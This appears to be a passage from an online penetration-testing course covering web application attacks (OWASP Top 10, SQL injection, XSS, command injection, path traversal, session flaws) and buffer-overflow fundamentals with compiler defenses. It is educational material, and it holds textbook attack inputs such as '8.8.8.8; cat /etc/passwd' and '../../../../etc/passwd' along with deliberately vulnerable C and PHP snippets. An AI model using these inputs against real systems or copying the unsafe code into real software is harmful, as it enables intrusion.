Architecture (Presentation, Logic, Data)


Stateless

HTTP protocol, sessions add state

📋 Key Components of Web Applications
🌐 Frontend (Client-Side)

Runs in the user's browser.

  • HTML: Structure and content
  • CSS: Styling and layout
  • JavaScript: Interactivity and dynamic behavior
  • Frameworks: React, Angular, Vue.js
  • Security Concerns: XSS, client-side validation bypass
🖥️ Backend (Server-Side)

Runs on the web server.

  • Web Server: Apache, Nginx, IIS
  • Application Server: Node.js, PHP, Python, Java, Ruby
  • Frameworks: Express, Django, Spring, Laravel, Rails
  • Security Concerns: SQL injection, command injection, file inclusion
🗄️ Database Layer

Stores and retrieves application data.

  • Relational: MySQL, PostgreSQL, Oracle, SQL Server
  • NoSQL: MongoDB, Cassandra, Redis
  • Security Concerns: SQL injection, NoSQL injection, exposed backups
🔌 APIs and Services

Connect applications to external services.

  • REST APIs: JSON/XML over HTTP
  • GraphQL: Query language for APIs
  • SOAP: XML-based web services
  • Third-party services: Payment, social login, analytics
📨 HTTP Request-Response Cycle

Web applications communicate via HTTP/HTTPS. Understanding the request-response cycle is fundamental to web security.

HTTP Request Structure:
GET /products?id=123 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: sessionid=abc123
Authorization: Bearer token123

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password=secret
                        

Components: Method, Path, Headers, Body (for POST)

HTTP Response Structure:
HTTP/1.1 200 OK
Date: Mon, 23 May 2024 12:00:00 GMT
Server: Apache/2.4.41
Content-Type: text/html
Content-Length: 1234
Set-Cookie: sessionid=xyz789; HttpOnly

<html>
  <body>
    <h1>Product Details</h1>
    ...
  </body>
</html>
                        

Components: Status Code, Headers, Body

Important HTTP Methods:
Method Purpose Security Considerations
GET Retrieve data Parameters in URL (visible in logs, browser history)
POST Submit data Data in body, CSRF vulnerabilities
PUT Update/replace resource Can create/overwrite files if misconfigured
DELETE Remove resource Authorization critical
OPTIONS Discover allowed methods Reveals attack surface
🔐 Session Management

HTTP is stateless — each request is independent. Sessions add state so applications can remember users.

How Sessions Work:
  1. User logs in with credentials
  2. Server creates a session (stores user data)
  3. Server sends session ID to browser (usually as cookie)
  4. Browser includes session ID in subsequent requests
  5. Server looks up session to identify user
Session Storage Locations:
  • Server-side: Memory, database, Redis (secure)
  • Client-side cookies: Session ID only (common)
  • JWT (JSON Web Tokens): All data in token (stateless)
Cookie Security Attributes:
Attribute Purpose Security Benefit
HttpOnly Prevents JavaScript access Protects against XSS cookie theft
Secure Only sent over HTTPS Prevents interception over HTTP
SameSite Controls cross-site sending Mitigates CSRF attacks
Domain/Path Scope of cookie Limits where cookie is sent
Expires/Max-Age Session duration Limits exposure window
💡
Web Application Attack Surface

Every component of a web application is a potential attack surface: user inputs, APIs, authentication mechanisms, session management, file uploads, database queries, third-party integrations, and administrative interfaces.


12.2 OWASP Top 10 Overview: The Most Critical Web Risks

The OWASP Top 10 is a standard awareness document for developers and security professionals. It represents a broad consensus about the most critical security risks to web applications. Updated approximately every 3-4 years, it reflects the current threat landscape.

OWASP (Open Web Application Security Project) is a nonprofit foundation dedicated to improving software security. Their Top 10 is the most widely referenced resource for web application security.

10

Most Critical Risks


2003

First OWASP Top 10 released


2021

Latest version

📊 OWASP Top 10 2021
Rank Category Description Common Examples
1 Broken Access Control Users can access resources or functions they shouldn't IDOR, privilege escalation, missing access controls
2 Cryptographic Failures Weak or missing encryption (formerly "Sensitive Data Exposure") No HTTPS, weak hashing, hardcoded keys
3 Injection Untrusted data sent to interpreter SQL injection, NoSQL injection, OS command injection
4 Insecure Design Design flaws in architecture Missing threat modeling, business logic flaws
5 Security Misconfiguration Missing security hardening Default credentials, verbose errors, unpatched systems
6 Vulnerable and Outdated Components Using libraries/frameworks with known vulnerabilities Log4j, Struts2, outdated jQuery
7 Identification and Authentication Failures Weaknesses in login, session management Credential stuffing, session fixation, weak passwords
8 Software and Data Integrity Failures Insecure updates, CI/CD pipelines Unsigned code, insecure deserialization
9 Security Logging and Monitoring Failures Insufficient logging/detection No audit logs, missing alerts
10 Server-Side Request Forgery (SSRF) Server makes unauthorized requests Internal network scanning, cloud metadata access
📈 Evolution of OWASP Top 10 (2017 → 2021)
New Categories in 2021:
  • A04:2021 – Insecure Design: Focus on architectural flaws, not just implementation bugs
  • A08:2021 – Software and Data Integrity Failures: CI/CD, insecure updates, deserialization
  • A10:2021 – SSRF: Promoted from the "Top 10" survey
Merged Categories:
  • A02:2021 – Cryptographic Failures: Merged "Sensitive Data Exposure" and cryptographic issues
  • A07:2021 – Identification and Authentication Failures: Expanded from "Broken Authentication"
🔍 Deep Dive: OWASP Top 10 Risk Categories

Access control enforces policies so users cannot act outside of their intended permissions.

Common Vulnerabilities:
  • IDOR (Insecure Direct Object References): Accessing records by modifying IDs
  • Privilege Escalation: Acting as admin or other users
  • Missing Access Controls: APIs without proper authorization
Example:
# User should only see their own profile
GET /user/profile?id=123  # Works for user 123

# Attacker changes ID
GET /user/profile?id=456  # Sees another user's profile!
                        

Failures related to protecting data in transit and at rest.

Common Issues:
  • No HTTPS or mixed content
  • Weak hashing algorithms (MD5, SHA1)
  • Hardcoded cryptographic keys
  • Passwords stored without salting

Untrusted data sent to an interpreter as part of a command or query.

Types:
  • SQL Injection
  • NoSQL Injection
  • OS Command Injection
  • LDAP Injection
  • XPath Injection

Risks related to design and architectural flaws.

Examples:
  • Missing threat modeling
  • Business logic flaws
  • Insecure password reset flows
  • No rate limiting on sensitive functions

Missing or incorrect security configurations.

Common Issues:
  • Default credentials left unchanged
  • Directory listing enabled
  • Verbose error messages
  • Unnecessary features enabled
💡 OWASP Resources: The OWASP Top 10 is just the starting point. Explore OWASP ASVS (Application Security Verification Standard), OWASP Cheat Sheets, and OWASP Testing Guide for comprehensive coverage.

12.3 Input Validation Weaknesses: When Trusting User Input Goes Wrong

Input validation weaknesses occur when an application accepts untrusted data without proper verification. This is the root cause of many critical vulnerabilities including SQL injection, XSS, and command injection.

🔴 SQL Injection (SQLi)

Attackers inject SQL commands into input fields to manipulate database queries.

How it works:
# Vulnerable code
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";

# Normal input: admin
# Query becomes: SELECT * FROM users WHERE username = 'admin'

# Malicious input: admin' OR '1'='1
# Query becomes: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# This returns all users!
                        
Types of SQL Injection:
  • In-band: Attacker gets results directly (UNION-based, error-based)
  • Blind: No visible output, infer based on behavior (boolean-based, time-based)
  • Out-of-band: Use other channels (DNS, HTTP requests)
Impact:
  • Data theft (usernames, passwords, PII)
  • Authentication bypass
  • Database modification/deletion
  • Remote code execution (in some cases)
Prevention:
  • Parameterized queries (prepared statements)
  • Stored procedures
  • Input validation and sanitization
  • Least privilege database accounts
# Safe: Parameterized query (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
                        
📜 Cross-Site Scripting (XSS)

Attackers inject malicious scripts into web pages viewed by other users.

How it works:
# Vulnerable code
echo "Hello, " . $_GET['name'];

# Normal: example.com/greet.php?name=John
# Output: Hello, John

# Malicious: example.com/greet.php?name=<script>alert('XSS')</script>
# Output includes script tag that executes in victim's browser!
                        
Types of XSS:
Type Description Persistence
Reflected XSS Malicious script in request, reflected in response Non-persistent
Stored XSS Script stored in database, served to all users Persistent
DOM-based XSS Vulnerability in client-side JavaScript Non-persistent
Impact:
  • Session hijacking (steal cookies)
  • Defacement
  • Phishing (fake login forms)
  • Keylogging
  • Malware distribution
Prevention:
  • Output encoding (context-aware)
  • Content Security Policy (CSP)
  • HttpOnly cookies (protect from script access)
  • Input validation (allowlisting)
# Safe: HTML entity encoding
echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
                        
💻 Command Injection

Attackers execute arbitrary system commands on the server.

How it works:
# Vulnerable code (PHP)
$ip = $_POST['ip'];
system("ping -c 4 " . $ip);

# Normal: ping -c 4 8.8.8.8

# Malicious: 8.8.8.8; cat /etc/passwd
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd
                        
Impact:
  • Complete server compromise
  • Data theft
  • Lateral movement in network
  • Ransomware deployment
Prevention:
  • Avoid system calls with user input
  • Use language-specific APIs instead
  • Input validation (allowlist)
  • Escape shell commands
📁 Path Traversal

Attackers access files outside the intended directory.

How it works:
# Vulnerable code
$file = $_GET['file'];
readfile("/var/www/files/" . $file);

# Normal: /download.php?file=report.pdf

# Malicious: /download.php?file=../../../../etc/passwd
# Reads system password file!
                        
Impact:
  • Read sensitive files
  • Source code disclosure
  • Configuration file access
  • Credentials exposure
Prevention:
  • Use allowlist of allowed files
  • Normalize paths (realpath())
  • Store files outside webroot
  • Use file IDs instead of names
📤 File Upload Vulnerabilities

Insecure file upload functionality allows attackers to upload malicious files.

Common Attacks:
  • Web shells: PHP files that execute commands
  • Malware distribution: Hosting malicious files
  • Overwriting critical files: .htaccess, config files
  • XSS via uploaded HTML/SVG
Prevention:
  • Validate file type (MIME, extension, content)
  • Store files outside webroot
  • Rename uploaded files
  • Scan for malware
  • Limit file size
🔍 Input Validation Best Practices
Validation vs Sanitization:
  • Validation: Check if input meets criteria (reject invalid)
  • Sanitization: Clean/modify input (use with caution)
Validation Strategies:
Type Example
Allowlist (whitelist) Only alphanumeric characters
Type validation Email format, integer range
Length limits Max 255 characters
Business logic Order quantity ≤ inventory
Defense in Depth:
  • Client-side validation (user experience)
  • Server-side validation (security)
  • Database constraints (last line of defense)
✔ Golden Rule: Never trust user input. Validate, sanitize, and encode based on context. All input is guilty until proven innocent.

12.4 Authentication & Session Weaknesses: Breaking Login Systems

Authentication verifies who you are; session management keeps you logged in. Weaknesses in these areas can lead to account takeover, impersonation, and unauthorized access.

🔑 Authentication Vulnerabilities
🎭 Credential Stuffing

Attackers use username/password pairs leaked from other breaches to gain access.

Why it works: Users reuse passwords across multiple sites.

Prevention: MFA, CAPTCHA, rate limiting, breached password detection.

🔓 Brute Force Attacks

Attackers try many passwords against one account.

Why it works: Weak passwords, no rate limiting, no lockout.

Prevention: Account lockout, progressive delays, CAPTCHA, strong password policies.

🔐 Weak Password Policies

Users choose easily guessable passwords.

Examples:
  • Minimum length < 8 characters
  • No complexity requirements
  • Common passwords allowed ("password123")
NIST Password Guidelines:
  • Minimum 8 characters, maximum 64+
  • Check against breached password lists
  • Allow all printable ASCII characters
  • No arbitrary complexity rules
🔄 Insecure Password Reset

Password reset functionality can be exploited to take over accounts.

Common Flaws:
  • Security questions with guessable answers
  • Reset links sent via email without expiration
  • Reset tokens predictable or exposed
  • No verification of user identity
Example Attack:
# Predictable reset token
/reset?token=12345  # Attacker tries sequential tokens

# Security question: "What's your favorite color?"
# Answer: "Blue" (easily guessable)
                        
🎫 Session Management Vulnerabilities
🍪 Session Fixation

Attacker forces a user to use a known session ID.

How it works:
  1. Attacker gets a valid session ID (e.g., by visiting site)
  2. Attacker tricks user into using that session ID (e.g., via link)
  3. User logs in, and attacker now has access to authenticated session
Prevention:
  • Generate new session ID after login
  • Regenerate session ID on privilege change
🕵️ Session Hijacking

Attacker steals a valid session ID and impersonates the user.

Stealing Methods:
  • XSS to access cookies (if not HttpOnly)
  • Network sniffing (if no HTTPS)
  • Session ID in URL (leaked in referer)
  • Physical access to browser
Prevention:
  • HttpOnly, Secure, SameSite cookies
  • HTTPS everywhere
  • Short session timeouts
  • Bind session to IP/user-agent
🔢 Weak Session IDs

Session tokens that are predictable or lack sufficient entropy.

Examples:
# Sequential IDs
sessionid=1001
sessionid=1002
sessionid=1003  # Easy to guess

# Weak randomness
sessionid=123456  # Same across users/instances
                        
Requirements:
  • Long enough (128+ bits)
  • Cryptographically random
  • Unique per session
⏰ Improper Session Timeout

Sessions that never expire or have excessively long timeouts.

Risks:
  • Shared computers: next user can access previous session
  • Stolen tokens usable for long periods
  • Increased attack window
Best Practices:
  • Idle timeout: 15-30 minutes
  • Absolute timeout: 8-12 hours
  • Logout functionality properly implemented
🛡️ Multi-Factor Authentication (MFA)

MFA adds additional verification beyond passwords, significantly improving security.

Something you KNOW

Password, PIN

Something you HAVE

Phone (SMS, app), hardware token

Something you ARE

Biometrics (fingerprint, face)

Somewhere you ARE

Location-based

MFA Bypass Techniques:
  • SIM swapping (SMS-based MFA)
  • Session fixation after MFA
  • Phishing one-time codes
  • Backup codes exposed
📋 Authentication Security Checklist
✅ Password Security:
  • Strong password policy (length, complexity)
  • Breached password detection
  • Secure password storage (bcrypt, Argon2)
  • Rate limiting on login attempts
✅ Login Forms:
  • HTTPS only
  • CAPTCHA after failed attempts
  • Generic error messages ("Invalid credentials")
  • Account lockout after threshold
✅ Session Management:
  • Secure random session IDs
  • Regenerate ID after login
  • HttpOnly, Secure, SameSite cookies
  • Proper session timeout
  • Logout invalidates session
✅ MFA Implementation:
  • Offer MFA options
  • Secure backup codes
  • Rate limit MFA attempts
  • Remember device option (with caution)

12.5 Secure Coding Concepts: Building Security In

Secure coding is the practice of writing software that's resistant to attacks. It's far more effective to build security in from the start than to try to bolt it on later.

🏗️ Security by Design Principles
🔒 Least Privilege

Give users and processes only the minimum permissions needed to function.

Example: Database account for web app should only have access to required tables, not full admin.

🛡️ Defense in Depth

Multiple layers of security controls.

Example: Even if input validation fails, output encoding and WAF provide additional protection.

❌ Fail Securely

When errors occur, default to denying access.

Example: If authorization check fails, deny access rather than granting by mistake.

🔍 Complete Mediation

Check authorization for every request, every time.

Example: Don't assume user is authorized just because they accessed a previous page.

🎯 Economy of Mechanism

Keep security mechanisms simple and small.

Example: Simple validation rules are easier to verify than complex regex.

🔗 Secure Defaults

Default configurations should be secure.

Example: Disable unnecessary features by default, require explicit enabling.

🛠️ Secure Coding Practices by Category

  • Validate all input: Type, length, format, range
  • Use allowlists, not blocklists: Define what's allowed, not what's forbidden
  • Canonicalize input: Normalize paths, Unicode
  • Reject invalid input: Don't try to fix it

  • Context-aware encoding: HTML, JavaScript, CSS, URL, JSON
  • Use templating engines with auto-escaping: Jinja2, Twig, React
  • Never trust client-side encoding
  • Content Security Policy (CSP): Defense-in-depth against XSS

  • Parameterized queries/prepared statements
  • Least privilege database accounts
  • Encrypt sensitive data at rest
  • Secure database configuration (remove defaults, change ports)

  • Use standard, vetted algorithms: AES, bcrypt, Argon2
  • Don't roll your own crypto
  • Secure key management: Never hardcode keys
  • Use TLS 1.2+ for data in transit

  • Secure password storage: Slow hashing with salt
  • Multi-factor authentication
  • Secure session management: Random IDs, regeneration, timeouts
  • Secure cookie attributes: HttpOnly, Secure, SameSite

  • Validate file types: Check content, not just extension
  • Store files outside webroot
  • Use random filenames
  • Scan uploaded files for malware
🧪 Security Testing in Development
SAST

Static Analysis

White-box testing, analyzes source code

SonarQube, Checkmarx

DAST

Dynamic Analysis

Black-box testing, running application

OWASP ZAP, Burp Suite

IAST

Interactive Analysis

Combines SAST and DAST

Contrast, Seeker

SCA

Software Composition Analysis

Third-party library scanning

OWASP Dependency-Check, Snyk

📚 Secure Development Lifecycle (SDL)
1. Training
2. Requirements
3. Design
4. Implementation
5. Verification
6. Release
7. Response
Microsoft SDL Practices:
  • Threat modeling during design
  • Secure coding standards
  • Static analysis during development
  • Dynamic analysis during testing
  • Penetration testing before release
OWASP SAMM (Software Assurance Maturity Model):
  • Governance (strategy, metrics)
  • Construction (threat assessment, security requirements)
  • Verification (testing, code review)
  • Deployment (management, environment hardening)
🛡️
The Goal of Secure Coding

Build security in from the start, not as an afterthought. Shift left — address security as early as possible in the development lifecycle. Remember: the cost of fixing a vulnerability increases exponentially the later it's found.


🌐

Module 12: Web Application Attacks Successfully Completed

You've mastered web application security concepts and understand how to identify, prevent, and mitigate common vulnerabilities!

Module Complete
📋 What You've Learned
✓ Web Architecture
✓ OWASP Top 10
✓ SQL Injection
✓ XSS Attacks
✓ Command Injection
✓ Path Traversal
✓ Auth Flaws
✓ Session Attacks
✓ Secure Coding
✓ SDL Practices

You have successfully completed this module of Penetration Testing Mastery Course.


💥 Module 13 – Introduction to Buffer Overflows: Understanding Memory Corruption Vulnerabilities

Learn what buffer overflows are, understand memory layout, differentiate stack from heap, discover why overflows occur, and explore modern defenses against these classic vulnerabilities

🎯

Module Learning Objectives

By the end of this module, you'll understand buffer overflow concepts, memory layout and organization, the difference between stack and heap memory, why overflows occur in vulnerable programs, and the defenses that protect modern systems.

⚠️

Important Warning

Buffer overflow techniques are explained for educational and defensive purposes only. Exploiting these vulnerabilities on systems you don't own is illegal. Always practice in controlled lab environments with proper authorization.


13.1 What is a Buffer Overflow? The Classic Memory Corruption Vulnerability

A buffer overflow (or buffer overrun) occurs when a program writes more data to a fixed-length block of memory (a buffer) than it can hold. The excess data overflows into adjacent memory locations, potentially corrupting valid data or enabling code execution.

Think of it like pouring water into a cup. The cup has a fixed capacity (the buffer). If you keep pouring after the cup is full, water overflows onto the table (adjacent memory). In programming, this overflow can corrupt other data or, worse, be manipulated by an attacker to take control of the program.

📜 A Brief History of Buffer Overflows
  • 1988: Morris Worm exploited buffer overflow in fingerd
  • 1996: Aleph One's "Smashing the Stack for Fun and Profit" published
  • 2001: Code Red worm exploited IIS buffer overflow
  • 2003: SQL Slammer exploited buffer overflow in MS SQL Server
  • 2014: Shellshock (Bash) and Heartbleed (OpenSSL)
  • 2017: BlueKeep (RDP) vulnerability
  • Today: Still relevant in embedded systems, IoT, and legacy code

30+

Years of buffer overflow exploits


#1

In CWE Top 25 (2023)


Still

Relevant in modern systems

🔬 Simple Buffer Overflow Example

Here's a vulnerable C program that demonstrates a buffer overflow:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[10];  // Buffer of 10 characters
    
    // UNSAFE: copies without checking length
    strcpy(buffer, input);
    
    printf("Buffer contains: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}
                
Normal Execution:
$ ./program "Hello"
Buffer contains: Hello
                
Overflow Execution:
$ ./program "AAAAAAAAAAAAAAAAAAAA"
Buffer contains: AAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
                

The program crashes because the 20 'A's overflowed the 10-character buffer and corrupted adjacent memory, including the return address.

🎯 What Can Attackers Achieve?
💥 Crash the Program

Denial of service by corrupting critical data

🔓 Execute Arbitrary Code

Redirect execution to malicious code

👑 Privilege Escalation

Gain higher privileges if vulnerable program runs with elevated permissions

💡
Key Insight

Buffer overflows occur because languages like C and C++ don't perform automatic bounds checking. The programmer is responsible for ensuring data fits in allocated buffers.


13.2 Understanding Memory Layout: How Programs Use Memory

To understand buffer overflows, you need to know how a program's memory is organized. When a program runs, the operating system allocates memory in a specific layout.

📊 Process Memory Layout
+------------------------+  High Address
|       Stack            |  (Grows downward)
|         ↓              |
|                        |
|------------------------|
|         ↑              |
|       Heap             |  (Grows upward)
|------------------------|
|    Uninitialized Data  |  (BSS)
|------------------------|
|    Initialized Data    |  (Data)
|------------------------|
|       Text (Code)      |
+------------------------+  Low Address
                        
🧩 Memory Segments Explained
Segment Description Contents Growth Direction
Text (Code) Program instructions Machine code, read-only Fixed
Data Initialized global/static variables Global variables with initial values Fixed
BSS Uninitialized data Global variables without initial values Fixed
Heap Dynamic memory allocation malloc(), new, etc. Grows upward
Stack Function call information Local variables, return addresses Grows downward
📏 Address Space Layout

On a 32-bit system, addresses range from 0x00000000 to 0xFFFFFFFF (4GB). The layout is typically:

Typical 32-bit Linux Layout:
  • 0x08048000: Text segment starts
  • 0x08049000: Data segment
  • 0x0804a000: BSS segment
  • 0x40000000: Shared libraries
  • 0xbfffffff: Stack top
64-bit Differences:
  • Much larger address space
  • Addresses like 0x7fffffffffff
  • Canonical addresses required
  • ASLR more effective
🔍 Viewing Memory Layout

You can examine a running process's memory layout using various tools:

# On Linux, check /proc/[pid]/maps
$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 123456     /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 123456     /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 123456     /bin/cat
7f8a1c1b2000-7f8a1c37a000 r-xp 00000000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c37a000-7f8a1c57a000 ---p 001c8000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c57a000-7f8a1c57e000 r--p 001c8000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c57e000-7f8a1c580000 rw-p 001cc000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7ffeef1f8000-7ffeef219000 rw-p 00000000 00:00 0          [stack]
                

Permission columns: r=read, w=write, x=execute, p=private

🔬 Why Memory Layout Matters for Buffer Overflows
Stack-based overflows target:
  • Return addresses (control flow hijacking)
  • Local variables (modify program logic)
  • Saved frame pointers
Heap-based overflows target:
  • Function pointers in heap objects
  • Adjacent heap allocations
  • Metadata of memory allocator

Understanding where different data lives helps attackers predict what can be corrupted and what they can control.

💡 Memory Layout Summary: The stack grows down (toward lower addresses), the heap grows up (toward higher addresses). Code is at the bottom, read-only. This organization is crucial for understanding how overflows work.

13.3 Stack vs Heap Concepts: Two Types of Memory

The stack and heap are two regions of memory with different characteristics, purposes, and vulnerabilities. Understanding both is essential for comprehending buffer overflows.

📚 The Stack

The stack is a LIFO (Last In, First Out) data structure used for function call management.

Characteristics:
  • Automatic allocation/deallocation when functions are called/returned
  • Fast access (just push/pop operations)
  • Limited size (typically 1-8 MB)
  • Grows downward (toward lower addresses)
  • Thread-specific (each thread has its own stack)
What lives on the stack:
  • Local variables
  • Function parameters
  • Return addresses
  • Saved frame pointers
  • Temporary compiler data
Stack Overflow Vulnerabilities:
  • Overwriting return address (control flow hijacking)
  • Modifying local variables to change program logic
  • Stack smashing (classic buffer overflow)
🗄️ The Heap

The heap is a region of memory used for dynamic allocation at runtime.

Characteristics:
  • Manual allocation/deallocation (malloc/free, new/delete)
  • Slower access (allocation overhead)
  • Large size (limited by available RAM/virtual memory)
  • Grows upward (toward higher addresses)
  • Shared across threads (synchronization needed)
What lives on the heap:
  • Dynamically allocated data structures
  • Objects created with 'new'
  • Data that needs to outlive the creating function
  • Large data that doesn't fit on stack
Heap Overflow Vulnerabilities:
  • Corrupting adjacent heap chunks
  • Overwriting function pointers in objects
  • Manipulating malloc/free metadata
  • Use-after-free combined with overflow
🔬 Stack Frame Anatomy

When a function is called, a stack frame is created:

High Address
+-----------------+
| Function args   | (if any)
+-----------------+
| Return address  | ← Where to go after function
+-----------------+
| Saved frame ptr | ← Previous %ebp
+-----------------+
| Local variables | ↓ (grows downward)
|     ...         |
+-----------------+
Low Address
                        
Stack Registers:
  • %esp (Stack Pointer): Points to top of stack
  • %ebp (Base Pointer): Points to current frame base
  • %eip (Instruction Pointer): Points to next instruction
Function Call Process:
  1. Push arguments (right to left)
  2. Call function (pushes return address)
  3. Push old %ebp (set up new frame)
  4. Allocate local variables (subtract from %esp)
🔍 Stack vs Heap Comparison Table
Aspect Stack Heap
Allocation Automatic (function call) Manual (malloc, new)
Deallocation Automatic (function return) Manual (free, delete)
Speed Very fast Slower (allocation overhead)
Size Limited (MB) Large (GB)
Growth Downward (lower addresses) Upward (higher addresses)
Lifetime Function scope Until explicitly freed
Threads Per thread Shared
Fragmentation None Can fragment over time
Typical overflow target Return address, local variables Function pointers, malloc metadata
💥 Overflow Examples: Stack vs Heap
Stack Overflow Example
void stack_vulnerable() {
    char buffer[10];
    char *ptr = gets(buffer);  // UNSAFE!
    // If user inputs >10 chars, buffer overflows
    // Can overwrite return address
}
                        

Target: Return address on stack

Goal: Redirect execution to attacker's code

Heap Overflow Example
struct node {
    void (*func_ptr)();
    char buffer[10];
};

void heap_vulnerable() {
    struct node *n = malloc(sizeof(struct node));
    gets(n->buffer);  // Overflows into func_ptr
    n->func_ptr();    // Calls corrupted pointer
}
                        

Target: Function pointer in heap

Goal: Call attacker-controlled address

✔ Key Distinction: Stack overflows typically target control flow data (return addresses). Heap overflows target data structures and function pointers. Both can lead to code execution, but they require different exploitation techniques.

13.4 Why Overflows Occur: Root Causes and Vulnerable Functions

Buffer overflows are fundamentally caused by the lack of bounds checking in languages like C and C++. Understanding the root causes helps in both finding and preventing them.

🔴 Root Causes
1. No Bounds Checking

C/C++ don't automatically check if data fits in allocated buffers. The programmer must ensure it does.

2. Unsafe Functions

Standard library functions like strcpy(), strcat(), gets(), sprintf() don't check buffer lengths.

3. Off-by-One Errors

Incorrect loop conditions or size calculations leading to single-byte overflows.

4. Trusting User Input

Assuming input will be well-behaved and within expected limits.

5. Integer Overflows

Size calculations that wrap around, leading to undersized allocations.

6. Complex Pointer Arithmetic

Errors in manual pointer manipulation causing writes beyond buffer boundaries.

📋 Dangerous Functions (The "Unsafe 11")
Function Problem Safe Alternative
gets() No length checking, reads until newline fgets()
strcpy() Copies until null terminator, no length check strncpy(), strlcpy()
strcat() Appends until null terminator, no length check strncat(), strlcat()
sprintf() Formats into buffer without length check snprintf()
vsprintf() Variable args version of sprintf vsnprintf()
scanf() Can overflow if %s used without width Specify width: %10s
realpath() May overflow output buffer Specify buffer size
getopt() Can overflow if optstring long Check length
getpass() Fixed buffer, may overflow Use getpassphrase() on some systems
streadd() Expands escape sequences Check output length
strecpy() Copies with escape expansion Check output length
🔬 Detailed Vulnerable Code Examples
Example 1: strcpy() Overflow
#include <stdio.h>
#include <string.h>

void vulnerable() {
    char buffer[100];
    
    // If input > 99 chars, overflow occurs
    strcpy(buffer, getenv("HOME"));  // Environment variable could be long
    
    printf("Home: %s\n", buffer);
}
                        

Why vulnerable: strcpy() doesn't know buffer size.

Example 2: sprintf() Overflow
void log_message(char *user, char *msg) {
    char buffer[256];
    
    // If user+msg > 255 chars, overflow
    sprintf(buffer, "User %s: %s", user, msg);
    
    write_log(buffer);
}
                        

Why vulnerable: No length limit on formatted output.

Example 3: Off-by-One
void copy_data(char *src) {
    char dest[10];
    int i;
    
    // Off-by-one: i <= 10 writes 11 bytes
    for (i = 0; i <= 10; i++) {
        dest[i] = src[i];
    }
}
                        

Why vulnerable: Loop condition off by one, overwrites adjacent byte.

Example 4: Integer Overflow
void allocate_and_copy(unsigned int size, char *data) {
    char *buffer;
    
    // If size > 0xffffffff - 1, integer overflow
    buffer = malloc(size + 1);  // Small allocation!
    
    if (buffer) {
        memcpy(buffer, data, size);  // Copies huge data into small buffer
    }
}
                        

Why vulnerable: Integer overflow leads to undersized allocation.

🔬 The Stack Smashing Process

Here's a visualization of how a stack overflow overwrites the return address:

Before Overflow:
[ buffer[0-9] ][ Saved EBP ][ Return Addr ][ Args ]
  10 bytes        4 bytes       4 bytes
                        
During Overflow:
[ AAAAAAAAAA ][ AAAAAAAA ][ AAAAAAAA ][ ... ]
  10 bytes       4 bytes      4 bytes
  buffer         saved EBP    return addr
                        
After Overflow:
Return address = 0x41414141 ('AAAA')
When function returns, CPU jumps to 0x41414141
Likely crashes or executes attacker's code
                        
⚠️ The Fundamental Problem: C and C++ trust the programmer to manage memory correctly. This power comes with responsibility, and mistakes lead to vulnerabilities. Modern languages like Rust, Go, and Java prevent these issues through built-in safety features.

13.5 Defenses Against Overflows: Modern Protections

Modern operating systems and compilers implement multiple layers of defense against buffer overflow attacks. Understanding these protections helps in both exploiting (in labs) and defending (in real systems).

🛡️ Compiler-Level Defenses
Stack Canaries

A random value placed between local variables and return address.

Stack layout with canary:
[ buffer ][ CANARY ][ saved EBP ][ return addr ]

Before function returns, canary is checked:
if (canary != original_value) {
    __stack_chk_fail();  // Crash securely
}
                        
Types of Canaries:
  • Terminator canary: NULL, CR, LF, -1 (stops string-based overflows)
  • Random canary: Random value at process start
  • Random XOR canary: XOR with control data
GCC Protection:
gcc -fstack-protector     # Protect vulnerable functions
gcc -fstack-protector-all # Protect all functions
gcc -fstack-protector-strong # Balance of performance/security
                        
Non-Executable Stack (NX/DEP)

Marks stack memory as non-executable. Even if attacker injects code, it can't run.

# Check NX status
$ readelf -l program | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
                                                          ^^^
                                                          RWE = Read/Write/Execute

# Make stack non-executable
gcc -z noexecstack program.c
                        
Bypass techniques:
  • Return-to-libc (ret2libc)
  • Return-oriented programming (ROP)
  • Return-to-PLT
ASLR (Address Space Layout Randomization)

Randomizes memory addresses of key program segments, making it harder for attackers to predict where to jump.

# Check ASLR status
$ cat /proc/sys/kernel/randomize_va_space
0 = disabled
1 = conservative (randomize mmap, stack)
2 = full (randomize heap as well)

# Enable ASLR
echo 2 > /proc/sys/kernel/randomize_va_space
                        
What gets randomized:
  • Stack base address
  • Heap base address
  • Shared library addresses
  • Executable base (PIE)
Bypass techniques:
  • Information leaks to disclose addresses
  • Partial overwrites
  • Brute force (on 32-bit systems)
PIE (Position Independent Executable)

Allows the main executable to be loaded at random addresses, extending ASLR to the program code itself.

# Compile as PIE
gcc -fPIE -pie program.c

# Check if PIE enabled
$ readelf -h program | grep Type
Type: DYN (Shared object file)  # PIE enabled
Type: EXEC (Executable file)     # No PIE
                        

Without PIE, the program's code section is at fixed addresses, making ROP gadgets predictable. PIE randomizes everything.

🔧 Runtime Protections
FORTIFY_SOURCE

Replaces unsafe functions with safer versions at compile time.

gcc -D_FORTIFY_SOURCE=2 -O2
                        

Detects buffer overflows at runtime and aborts.

RELRO (RELocation Read-Only)

Makes GOT (Global Offset Table) read-only after dynamic linking.

gcc -Wl,-z,relro,-z,now
                        

Prevents GOT overwrite attacks.

CFI (Control Flow Integrity)

Ensures indirect jumps go to valid targets.

Implemented in compilers and hardware (Intel CET).

📋 Defense Mechanisms Comparison
Defense What It Protects Bypass Difficulty Effectiveness
Stack Canaries Return addresses on stack Medium High against simple overflows
